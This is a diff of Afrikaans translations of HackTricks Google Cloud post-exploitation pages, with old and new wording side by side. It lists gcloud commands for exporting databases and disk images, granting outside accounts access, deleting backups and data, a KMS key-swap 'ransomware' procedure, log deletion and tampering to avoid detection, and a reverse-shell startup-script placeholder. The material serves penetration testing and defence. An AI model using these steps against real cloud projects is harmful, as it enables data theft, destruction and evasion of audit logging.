Kry 'n **lys van alle gebruikers** van die databasis:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lys databasisgebruikers</summary>
|
||||
```bash
|
||||
gcloud sql users list --instance <intance-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.create`
|
||||
|
||||
Hierdie toestemming laat toe om **nuwe gebruiker binne** die databasis te **skep**:
|
||||
Hierdie toestemming laat toe om **'n nuwe gebruiker binne die databasis te skep**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep databasisgebruiker</summary>
|
||||
```bash
|
||||
gcloud sql users create <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.update`
|
||||
|
||||
Hierdie toestemming laat toe om **gebruikers binne** die databasis te **opdateer**. Byvoorbeeld, jy kan sy wagwoord verander:
|
||||
Hierdie toestemming laat toe om 'n gebruiker binne die databasis te **bywerk**. Byvoorbeeld, jy kan die gebruiker se wagwoord verander:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wysig gebruiker se wagwoord</summary>
|
||||
```bash
|
||||
gcloud sql users set-password <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
|
||||
|
||||
Back-ups mag **ou sensitiewe inligting** bevat, so dit is interessant om hulle te kontroleer.\
|
||||
**Herstel 'n rugsteun** binne 'n databasis:
|
||||
Backups kan **ou sensitiewe inligting** bevat, dus is dit interessant om dit na te gaan.\
|
||||
**Restore a backup** binne 'n databasis:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Herstel databasis backup</summary>
|
||||
```bash
|
||||
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
|
||||
```
|
||||
Om dit op 'n meer stil manier te doen, word dit aanbeveel om 'n nuwe SQL-instansie te skep en die data daar te herstel in plaas van in die tans lopende databasisse.
|
||||
</details>
|
||||
|
||||
Om dit op 'n meer stealth manier te doen, word dit aanbeveel om 'n nuwe SQL instance te skep en die data daar te recover in plaas van in die tans lopende databases.
|
||||
|
||||
### `cloudsql.backupRuns.delete`
|
||||
|
||||
Hierdie toestemming laat toe om rugsteun te verwyder:
|
||||
Hierdie permission laat toe om backups te delete:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Delete backup</summary>
|
||||
```bash
|
||||
gcloud sql backups delete <backup-id> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.export`, `storage.objects.create`
|
||||
|
||||
**Eksporteer 'n databasis** na 'n Cloud Storage-bucket sodat jy dit van daar kan toegang.
|
||||
**Eksporteer 'n databasis** na 'n Cloud Storage Bucket sodat jy daarvandaan toegang daartoe kan kry:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Eksporteer databasis na bucket</summary>
|
||||
```bash
|
||||
# Export sql format, it could also be csv and bak
|
||||
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.import`, `storage.objects.get`
|
||||
|
||||
**Importeer 'n databasis** (oorskryf) vanaf 'n Cloud Storage-bucket:
|
||||
**Voer 'n databasis in** (oorskryf) vanaf 'n Cloud Storage Bucket:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Voer 'n databasis in vanaf bucket</summary>
|
||||
```bash
|
||||
# Import format SQL, you could also import formats bak and csv
|
||||
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.databases.delete`
|
||||
|
||||
Verwyder 'n databasis van die db-instantie:
|
||||
Verwyder 'n databasis vanaf die db-instansie:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verwyder databasis</summary>
|
||||
```bash
|
||||
gcloud sql databases delete <db-name> --instance <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+84
-24
@@ -4,23 +4,29 @@
|
||||
|
||||
## Compute
|
||||
|
||||
Vir meer inligting oor Compute en VPC (Netwerk) kyk:
|
||||
Vir meer inligting oor Compute en VPC (Networking) kyk:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Eksporteer & Ondersoek Beelde plaaslik
|
||||
### Eksporteer & Inspekteer beelde lokaal
|
||||
|
||||
Dit sou 'n aanvaller in staat stel om **toegang te verkry tot die data wat in reeds bestaande beelde bevat is** of **nuwe beelde van lopende VM's te skep** en toegang tot hul data te verkry sonder om toegang tot die lopende VM te hê.
|
||||
Dit sal 'n aanvaller in staat stel om **toegang tot die data wat binne reeds bestaande beelde bevat is** of **nuwe beelde van lopende VMs te skep** en toegang tot hul data te kry sonder om toegang tot die lopende VM te hê.
|
||||
|
||||
Dit is moontlik om 'n VM-beeld na 'n emmer te eksporteer en dit dan af te laai en plaaslik te monteer met die opdrag:
|
||||
Dit is moontlik om 'n VM-image na 'n bucket te eksporteer en dit dan af te laai en plaaslik te mount met die opdrag:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Eksporteer en laai VM-image af</summary>
|
||||
```bash
|
||||
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
|
||||
# The download the export from the bucket and mount it locally
|
||||
```
|
||||
Voordat hierdie aksie uitgevoer kan word, mag die aanvaller moontlik voorregte oor die stooremmer benodig en beslis **voorregte oor cloudbuild** aangesien dit die **diens** is wat gevra gaan word om die uitvoer uit te voer.\
|
||||
Boonop, om dit te laat werk, benodig die codebuild SA en die compute SA voorregte.\
|
||||
</details>
|
||||
|
||||
Voor die uitvoering van hierdie aksie mag die aanvaller voorregte oor die storage bucket nodig hê en beslis **voorregte oor cloudbuild** aangesien dit die **diens** is wat gevra gaan word om die export uit te voer\
|
||||
Verder, om dit te laat werk benodig die codebuild SA en die compute SA geprivilegieerde bevoegdhede.\
|
||||
Die cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` benodig:
|
||||
|
||||
- roles/iam.serviceAccountTokenCreator
|
||||
@@ -29,12 +35,16 @@ Die cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` benodig:
|
||||
|
||||
En die SA `<project-id>-compute@developer.gserviceaccount.com` benodig:
|
||||
|
||||
- roles/compute.storageAdmin
|
||||
- oles/compute.storageAdmin
|
||||
- roles/storage.objectAdmin
|
||||
|
||||
### Eksporteer & Ondersoek Snapshots & Skyfies plaaslik
|
||||
### Eksporteer & Inspekteer Snapshots & Disks lokaal
|
||||
|
||||
Dit is nie moontlik om snapshots en skyfies direk te eksporteer nie, maar dit is moontlik om **'n snapshot in 'n skyf, 'n skyf in 'n beeld** te transformeer en volgens die **vorige afdeling**, daardie beeld te eksporteer om dit plaaslik te ondersoek.
|
||||
Dit is nie moontlik om snapshots en disks direk te exporteer nie, maar dit is moontlik om **'n snapshot in 'n disk te omskep, 'n disk in 'n image** en, volgens die **vorige afdeling**, daardie image te exporteer om dit lokaal te inspekteer
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep disk vanaf snapshot en image vanaf disk</summary>
|
||||
```bash
|
||||
# Create a Disk from a snapshot
|
||||
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
|
||||
@@ -42,65 +52,115 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
|
||||
# Create an image from a disk
|
||||
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
|
||||
```
|
||||
### Inspect an Image creating a VM
|
||||
</details>
|
||||
|
||||
Met die doel om toegang te verkry tot die **data wat in 'n beeld gestoor is** of binne 'n **lopende VM** van waar 'n aanvaller **'n beeld geskep het,** is dit moontlik om 'n eksterne rekening toegang tot die beeld te gee:
|
||||
### Inspekteer 'n Image deur 'n VM te skep
|
||||
|
||||
Met die doel om toegang te kry tot die **data stored in an image** of binne 'n **running VM** vanwaar 'n **attacker has created an image,** is dit moontlik om 'n eksterne rekening toegang tot die image te gee:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Gee toegang tot image en skep 'n VM</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
|
||||
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
|
||||
--role='roles/compute.imageUser'
|
||||
```
|
||||
en dan 'n nuwe VM daaruit skep:
|
||||
</details>
|
||||
|
||||
en skep daarna 'n nuwe VM daaruit:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep VM-instansie vanaf beeld</summary>
|
||||
```bash
|
||||
gcloud compute instances create [INSTANCE_NAME] \
|
||||
--project=[TARGET_PROJECT_ID] \
|
||||
--zone=[ZONE] \
|
||||
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
|
||||
```
|
||||
As jy nie jou eksterne rekening toegang oor die beeld kon gee nie, kan jy 'n VM met daardie beeld in die slagoffer se projek begin en **die metadata laat 'n omgekeerde skulp uitvoer** om toegang tot die beeld te verkry deur die param by te voeg:
|
||||
</details>
|
||||
|
||||
As jy nie jou eksterne rekening toegang tot die image kon gee nie, kan jy 'n VM in die slagoffer se projek lanseer wat daardie image gebruik en **die metadata laat 'n reverse shell uitvoer** om toegang tot die image te kry deur die param by te voeg:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep VM met reverse shell in metadata</summary>
|
||||
```bash
|
||||
--metadata startup-script='#! /bin/bash
|
||||
echo "hello"; <reverse shell>'
|
||||
```
|
||||
### Inspekteer 'n Snapshot/Skyf deur dit aan 'n VM te koppel
|
||||
</details>
|
||||
|
||||
Met die doel om toegang te verkry tot die **data wat in 'n skyf of 'n snapshot gestoor is, kan jy die snapshot in 'n skyf transformeer, 'n skyf in 'n beeld en die vorige stappe volg.**
|
||||
### Inspekteer 'n Snapshot/Disk deur dit aan 'n VM te koppel
|
||||
|
||||
Of jy kan **'n eksterne rekening toegang verleen** oor die skyf (as die beginpunt 'n snapshot is, gee toegang oor die snapshot of skep 'n skyf daarvan):
|
||||
Met die doel om toegang te kry tot die **data gestoor in 'n disk of 'n snapshot, kan jy die snapshot omskakel na 'n disk, 'n disk na 'n image en die vorige stappe volg.**
|
||||
|
||||
Of jy kan 'n **eksterne rekening toegang gee** oor die disk (as die beginpunt 'n snapshot is, gee toegang oor die snapshot of skep 'n disk daaruit):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Gee toegang tot disk</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
--member='user:[USER_EMAIL]' \
|
||||
--role='roles/compute.storageAdmin'
|
||||
```
|
||||
**Koppel die skyf** aan 'n instansie:
|
||||
</details>
|
||||
|
||||
**Koppel die skyf** aan 'n instance:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Koppel skyf aan instance</summary>
|
||||
```bash
|
||||
gcloud compute instances attach-disk [INSTANCE_NAME] \
|
||||
--disk [DISK_NAME] \
|
||||
--zone [ZONE]
|
||||
```
|
||||
Monteer die skyf binne die VM:
|
||||
</details>
|
||||
|
||||
1. **SSH in die VM**:
|
||||
Koppel die disk binne die VM:
|
||||
|
||||
1. **SSH into the VM**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>SSH into VM and mount disk</summary>
|
||||
|
||||
```sh
|
||||
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
|
||||
```
|
||||
|
||||
2. **Identifiseer die Skyf**: Sodra jy binne die VM is, identifiseer die nuwe skyf deur die skyf toestelle te lys. Gewoonlik kan jy dit vind as `/dev/sdb`, `/dev/sdc`, ens.
|
||||
3. **Formateer en Monteer die Skyf** (as dit 'n nuwe of rou skyf is):
|
||||
</details>
|
||||
|
||||
- Skep 'n monteerpunt:
|
||||
2. **Identify the Disk**: Sodra jy binne die VM is, identifiseer die nuwe disk deur die disk devices te lys. Tipies kan jy dit vind as `/dev/sdb`, `/dev/sdc`, ens.
|
||||
3. **Format and Mount the Disk** (if it's a new or raw disk):
|
||||
|
||||
- Create a mount point:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create mount point and mount</summary>
|
||||
|
||||
```sh
|
||||
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
- Monteer die skyf:
|
||||
</details>
|
||||
|
||||
- Mount the disk:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mount disk device</summary>
|
||||
|
||||
```sh
|
||||
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
As jy **nie toegang tot 'n eksterne projek** vir die snapshot of skyf kan gee nie, moet jy dalk **hierdie aksies binne 'n instansie in dieselfde projek as die snapshot/skyf** uitvoer.
|
||||
</details>
|
||||
|
||||
As jy **nie toegang aan 'n external project kan gee** tot die snapshot of disk nie, moet jy moontlik hierdie aksies **binne 'n instance in dieselfde project as die snapshot/disk** uitvoer.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+32
-8
@@ -10,9 +10,13 @@ Vir meer inligting oor Filestore, kyk:
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Mount Filestore
|
||||
### Koppel Filestore
|
||||
|
||||
'n Gedeelde lêerstelsel **kan sensitiewe inligting bevat** wat interessant is vanuit 'n aanvaller se perspektief. Met toegang tot die Filestore is dit moontlik om dit te **mount**:
|
||||
'n gedeelde lêerstelsel **mag sensitiewe inligting bevat** wat vir 'n aanvaller interessant is. Met toegang tot die Filestore is dit moontlik om dit te **koppel**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Koppel Filestore lêerstelsel</summary>
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nfs-common
|
||||
@@ -22,15 +26,21 @@ showmount -e <IP>
|
||||
mkdir /mnt/fs
|
||||
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
|
||||
```
|
||||
Om die IP-adres van 'n filestore-instantie te vind, kyk na die enumerasie-afdeling van die bladsy:
|
||||
</details>
|
||||
|
||||
Om die IP address van 'n filestore instance te vind, kyk na die enumerasie-afdeling van die bladsy:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Verwyder Beperkings en kry ekstra toestemmings
|
||||
### Verwyder beperkings en kry ekstra permissions
|
||||
|
||||
As die aanvaller nie in 'n IP-adres met toegang tot die deel is nie, maar jy het genoeg toestemmings om dit te wysig, is dit moontlik om die beperkings of toegang daaroor te verwyder. Dit is ook moontlik om meer voorregte oor jou IP-adres toe te ken om admin-toegang tot die deel te hê:
|
||||
As die aanvaller nie vanaf 'n IP address met toegang tot die share is nie, maar jy het genoeg permissions om dit te wysig, is dit moontlik om die beperkings of toegang daarop te verwyder. Dit is ook moontlik om meer voorregte aan jou IP address te gee sodat jy admin-toegang tot die share kry:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Werk Filestore instance by om toegang toe te laat</summary>
|
||||
```bash
|
||||
gcloud filestore instances update nfstest \
|
||||
--zone=<exact-zone> \
|
||||
@@ -56,9 +66,15 @@ gcloud filestore instances update nfstest \
|
||||
}
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### Herstel 'n rugsteun
|
||||
|
||||
As daar 'n rugsteun is, is dit moontlik om dit in 'n bestaande of in 'n nuwe instansie te **herstel** sodat sy **inligting toeganklik word:**
|
||||
As daar 'n rugsteun is, is dit moontlik om dit in 'n bestaande of in 'n nuwe instansie te **herstel** sodat die **inligting toeganklik word:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep 'n nuwe instansie en herstel die rugsteun</summary>
|
||||
```bash
|
||||
# Create a new filestore if you don't want to modify the old one
|
||||
gcloud filestore instances create <new-instance-name> \
|
||||
@@ -76,9 +92,15 @@ gcloud filestore instances restore <new-instance-name> \
|
||||
|
||||
# Follow the previous section commands to mount it
|
||||
```
|
||||
### Skep 'n rugsteun en herstel dit
|
||||
</details>
|
||||
|
||||
As jy **nie toegang het tot 'n gedeelde lêer nie en nie dit wil wysig nie**, is dit moontlik om 'n **rugsteun** daarvan te **herstel** soos voorheen genoem:
|
||||
### Skep 'n backup en herstel dit
|
||||
|
||||
As jy **nie toegang tot 'n share het en dit nie wil wysig nie**, is dit moontlik om daarvan 'n **backup** te **skep** en dit te **herstel** soos voorheen genoem:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep backup en herstel in nuwe instance</summary>
|
||||
```bash
|
||||
# Create share backup
|
||||
gcloud filestore backups create <back-name> \
|
||||
@@ -89,4 +111,6 @@ gcloud filestore backups create <back-name> \
|
||||
|
||||
# Follow the previous section commands to restore it and mount it
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+12
-6
@@ -10,18 +10,24 @@ Jy kan verdere inligting oor IAM vind in:
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Toegang tot bestuurskonsol toeken <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
### Toekenning van toegang tot management console <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
Toegang tot die [GCP bestuurskonsol](https://console.cloud.google.com) word **verskaf aan gebruikersrekeninge, nie diensrekeninge nie**. Om in te teken op die webkoppelvlak, kan jy **toegang gee aan 'n Google-rekening** wat jy beheer. Dit kan 'n generiese "**@gmail.com**" rekening wees, dit hoef **nie 'n lid van die teikenorganisasie te wees nie**.
|
||||
Toegang tot die [GCP management console](https://console.cloud.google.com) word **gegee aan gebruikersrekeninge, nie service accounts nie**. Om by die webkoppelvlak aan te meld, kan jy **toegang verleen aan 'n Google account** wat jy beheer. Dit kan 'n generiese "**@gmail.com**" rekening wees; dit hoef **nie 'n lid van die teikenorganisasie te wees nie**.
|
||||
|
||||
Om die primitiewe rol van **Eienaar** aan 'n generiese "@gmail.com" rekening toe te ken, sal jy egter **die webkonsol** moet gebruik. `gcloud` sal 'n fout gee as jy probeer om 'n toestemming bo Redakteur toe te ken.
|
||||
Om egter die primitiewe rol **Owner** aan 'n generiese "@gmail.com" rekening toe te ken, moet jy die **web console** gebruik. `gcloud` sal 'n fout gee as jy probeer om 'n toestemming bo **Editor** toe te ken.
|
||||
|
||||
Jy kan die volgende opdrag gebruik om **'n gebruiker die primitiewe rol van Redakteur** aan jou bestaande projek toe te ken:
|
||||
Jy kan die volgende opdrag gebruik om 'n gebruiker die primitiewe rol **Editor** aan jou bestaande projek toe te ken:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ken Editor-rol aan gebruiker toe</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
As jy hier geslaag het, probeer **om toegang te verkry tot die webkoppelvlak** en verken van daar af.
|
||||
</details>
|
||||
|
||||
Dit is die **hoogste vlak wat jy kan toewys met die gcloud-tool**.
|
||||
As jy hier sukses behaal het, probeer **toegang tot die webkoppelvlak kry** en van daar af verken.
|
||||
|
||||
Dit is die **hoogste vlak wat jy kan toewys met die gcloud tool**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+39
-9
@@ -12,7 +12,11 @@ Vind basiese inligting oor KMS in:
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
'n Aanvaller met hierdie toestemming kan 'n KMS weergawe vernietig. Om dit te doen, moet jy eers die sleutel deaktiveer en dan dit vernietig:
|
||||
’n Aanvaller met hierdie toestemming kan ’n KMS-weergawe vernietig. Om dit te doen moet jy eers die sleutel deaktiveer en daarna vernietig:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Deaktiveer en vernietig sleutelweergawe (Python)</summary>
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
@@ -57,22 +61,28 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
# Destroy the key version
|
||||
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
```
|
||||
</details>
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
In AWS is dit moontlik om 'n KMS-sleutel heeltemal te **steel** deur die KMS-hulpmiddelbeleid te wysig en slegs die aanvaller se rekening toe te laat om die sleutel te gebruik. Aangesien hierdie hulpmiddelbeleide nie in GCP bestaan nie, is dit nie moontlik nie.
|
||||
In AWS is dit moontlik om heeltemal 'n **KMS key** te steel deur die KMS resource policy te wysig en slegs die aanvallers rekening toe te laat om die key te gebruik. Aangesien hierdie resource policies nie in GCP bestaan nie, is dit nie moontlik nie.
|
||||
|
||||
Daar is egter 'n ander manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe sou behels:
|
||||
Daar is egter nog 'n manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe behels:
|
||||
|
||||
- Skep 'n nuwe **weergawe van die sleutel met 'n sleutelmateriaal** ingevoer deur die aanvaller
|
||||
- Skep 'n nuwe **version of the key with a key material** wat deur die aanvaller geïmporteer is
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- Stel dit in as **standaard weergawe** (vir toekomstige data wat geënkripteer word)
|
||||
- **Her-enkripteer ouer data** wat met die vorige weergawe geënkripteer is met die nuwe een.
|
||||
- **Verwyder die KMS-sleutel**
|
||||
- Nou kan slegs die aanvaller, wat die oorspronklike sleutelmateriaal het, die geënkripteerde data ontcijfer
|
||||
- Stel dit as **default version** (vir toekomstige data wat geïnkripteer sal word)
|
||||
- **Re-encrypt older data** wat met die vorige weergawe geïnkripteer is, met die nuwe een.
|
||||
- **Delete the KMS key**
|
||||
- Nou sal slegs die attacker, wat die oorspronklike sleutelmateriaal het, in staat wees om die geïnkripteerde data te dekripteer
|
||||
|
||||
#### Hier is die stappe om 'n nuwe weergawe te importeer en die ouer data te deaktiveer/verwyder:
|
||||
#### Hier is die stappe om 'n nuwe weergawe te importeer en die ouer data uit te skakel/verwyder:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Importeer nuwe sleutelweergawe en verwyder ou weergawe</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -146,7 +156,13 @@ gcloud kms keys versions destroy \
|
||||
--version 1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Enkripteer data met simmetriese sleutel (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import base64
|
||||
@@ -181,7 +197,13 @@ plaintext = 'your-data-to-encrypt'
|
||||
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
|
||||
print('Ciphertext:', ciphertext)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToSign`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Teken boodskap met asymmetriese sleutel (Python)</summary>
|
||||
```python
|
||||
import hashlib
|
||||
from google.cloud import kms
|
||||
@@ -215,7 +237,13 @@ message = 'your-message'
|
||||
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
|
||||
print('Signature:', signature)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToVerify`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verifieer handtekening met asimmetriese sleutel (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import hashlib
|
||||
@@ -242,4 +270,6 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+77
-5
@@ -4,13 +4,13 @@
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
Vir meer inligting sien:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
{{#endref}}
|
||||
|
||||
Vir ander maniere om monitering te ontwrig, kyk:
|
||||
Vir ander maniere om monitoring te ontwrig, sien:
|
||||
|
||||
{{#ref}}
|
||||
gcp-monitoring-post-exploitation.md
|
||||
@@ -18,13 +18,17 @@ gcp-monitoring-post-exploitation.md
|
||||
|
||||
### Standaard Logging
|
||||
|
||||
**Deur die standaard sal jy nie gevang word net vir die uitvoering van lees aksies nie. Vir meer inligting, kyk die Logging Enum afdeling.**
|
||||
**Standaard sal jy nie gevang word net omdat jy lees-aksies uitvoer nie. Vir meer inligting, sien die Logging Enum afdeling.**
|
||||
|
||||
### Voeg Uitsluitende Principaal By
|
||||
### Voeg Excepted Principal by
|
||||
|
||||
In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) en [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) is dit moontlik om principals by te voeg om nie logs te genereer nie. 'n Aanvaller kan dit misbruik om te voorkom dat hy gevang word.
|
||||
In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) en [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) is dit moontlik om principals by te voeg sodat logs nie gegenereer word nie. 'n aanvaller kan dit misbruik om te voorkom dat hulle gevang word.
|
||||
|
||||
### Lees logs - `logging.logEntries.list`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lees loginskrywings</summary>
|
||||
```bash
|
||||
# Read logs
|
||||
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
|
||||
@@ -34,58 +38,124 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
|
||||
|
||||
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logs.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verwyder loginskrywings</summary>
|
||||
```bash
|
||||
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
|
||||
gcloud logging logs delete <log-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Skryf logs - `logging.logEntries.create`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skryf loginskrywing</summary>
|
||||
```bash
|
||||
# Write a log entry to try to disrupt some system
|
||||
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Werk log bucket retensie by</summary>
|
||||
```bash
|
||||
# Set retention period to 1 day (_Required has a fixed one of 400days)
|
||||
|
||||
gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verwyder log-emmer</summary>
|
||||
```bash
|
||||
# Delete log bucket
|
||||
gcloud logging buckets delete BUCKET_NAME --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.links.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verwyder logskakel</summary>
|
||||
```bash
|
||||
# Delete link
|
||||
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verwyder logging view</summary>
|
||||
```bash
|
||||
# Delete a logging view to remove access to anyone using it
|
||||
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Werk logging-uitsig by om data te verberg</summary>
|
||||
```bash
|
||||
# Update a logging view to hide data
|
||||
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bywerk log-gebaseerde metrieke</summary>
|
||||
```bash
|
||||
# Update log based metrics - logging.logMetrics.update
|
||||
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verwyder log-gebaseerde metrieke</summary>
|
||||
```bash
|
||||
# Delete log based metrics - logging.logMetrics.delete
|
||||
gcloud logging metrics delete <metric-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Verwyder log sink</summary>
|
||||
```bash
|
||||
# Delete sink - logging.sinks.delete
|
||||
gcloud logging sinks delete <sink-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Opdateer/versteur log sink</summary>
|
||||
```bash
|
||||
# Disable sink - logging.sinks.update
|
||||
